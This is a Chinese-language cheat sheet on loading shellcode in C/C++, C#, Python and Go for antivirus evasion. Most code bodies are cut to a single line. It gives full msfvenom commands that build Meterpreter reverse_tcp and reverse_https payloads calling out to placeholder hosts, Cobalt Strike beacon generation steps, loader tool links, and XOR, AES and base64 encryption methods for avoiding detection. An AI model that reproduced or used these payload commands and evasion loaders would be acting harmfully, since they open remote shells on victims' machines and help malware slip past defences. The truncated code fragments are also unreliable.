shellcode加载总结
C/C++
源码加载
利用动态申请内存
1 | #include <windows.h> |
强制类型转换成函数指针
1 | #include <windows.h> |
嵌入式汇编呼叫shellcode
1 | #include <windows.h> |
伪指令
1 | #include <windows.h> |
xor加密
1 | /* |



加载器
C++.加载shellcode方式的payload到内存
https://github.com/clinicallyinane/shellcode_launcher/
生成shellcode
1 | msfvenom -p windows/x64/meterpreter/reverse_tcp lhost=ip lport=port -e x86/shikata_ga_nai -i 5 -f raw > test.c |
shellcode 加载1
shellcode_launcher.exe -i test.c


C以十六进制的方式执行shellcode
https://github.com/DimopoulosElias/SimpleShellcodeInjector
生成shellcode1
msfvenom -p windows/meterpreter/reverse_https LHOST=1.2.3.4 LPORT=443 -f c -o msf.txt
1 | cat msf.txt|grep -v unsigned|sed "s/\"\\\x//g"|sed "s/\\\x//g"|sed "s/\"//g"|sed ':a;N;$!ba;s/\n//g'|sed "s/;//g" |
加载shellcode
1 | ssi.exe shellcode |

Csharp
源码加载
直接加载
1 |
|
1 | using System; |
保存代码后,修改该工程的属性,将输出类型改为“Windows 应用程序”,启动对象改为“MSFWrapper.Program”并保存。


aes加密
1 | /* |
xor加密
1 | /* |
从资源里加载shelllcode
https://github.com/rvrsh3ll/CPLResourceRunner
用Cobalt Strike 生成shellcode
1 | Attacks -> Packages -> Windows Executable (s) -> Output => RAW (x86) |
用ConvertShellcode.py将生成的 beacon.bin转换成shellcode.txt
然后再转换成base64编码。
1 | root@kali:~/Desktop# python ConvertShellcode.py beacon.bin |
把生成的base64编码的shellcode复制到项目资源Resources.txt里
编译生成dll。
copy CPLResourceRunner.dll to RunMe.cpl
Python
源码加载
1 | import urllib2 |
1 | #!/usr/bin/python |
PyInstaller将py转为exe
pyinstaller同样可以将.py程序打包成windows下可以执行的exe文件。
pyinstaller依赖于pywin32,在使用pyinstaller之前,应先安装pywin32
pywin32下载后,点击下一步安装即可
https://sourceforge.net/projects/pywin32/files/pywin32
pyinstaller 下载后,解压,不用安装,即可使用
https://github.com/pyinstaller/pyinstaller/releases
1 | python pyinstaller -F -w pyshellcode.py |

生成的exe文件3MB。

xor加密
1 | #!/usr/bin/python |
aes加密
1 | #!/usr/bin/python |
base64加密
1 | import ctypes |
加载器
Python免杀ShellCode加载器(Cobaltstrike/Metasploit)
HEX加密
1 | #scrun by k8gege |
base64加密
1 | #scrun by k8gege |
Go
内联C加载
1 | package main |
加载器
https://github.com/brimstone/go-shellcode
生成hex格式的shellcode
1 | msfvenom -p windows/meterpreter/reverse_tcp -f hex -o rev.hex LHOST=127.0.0.1 LPORT=4444 |
加载器进行加载
1 | c:\windows\temp>sc.exe shellcode |
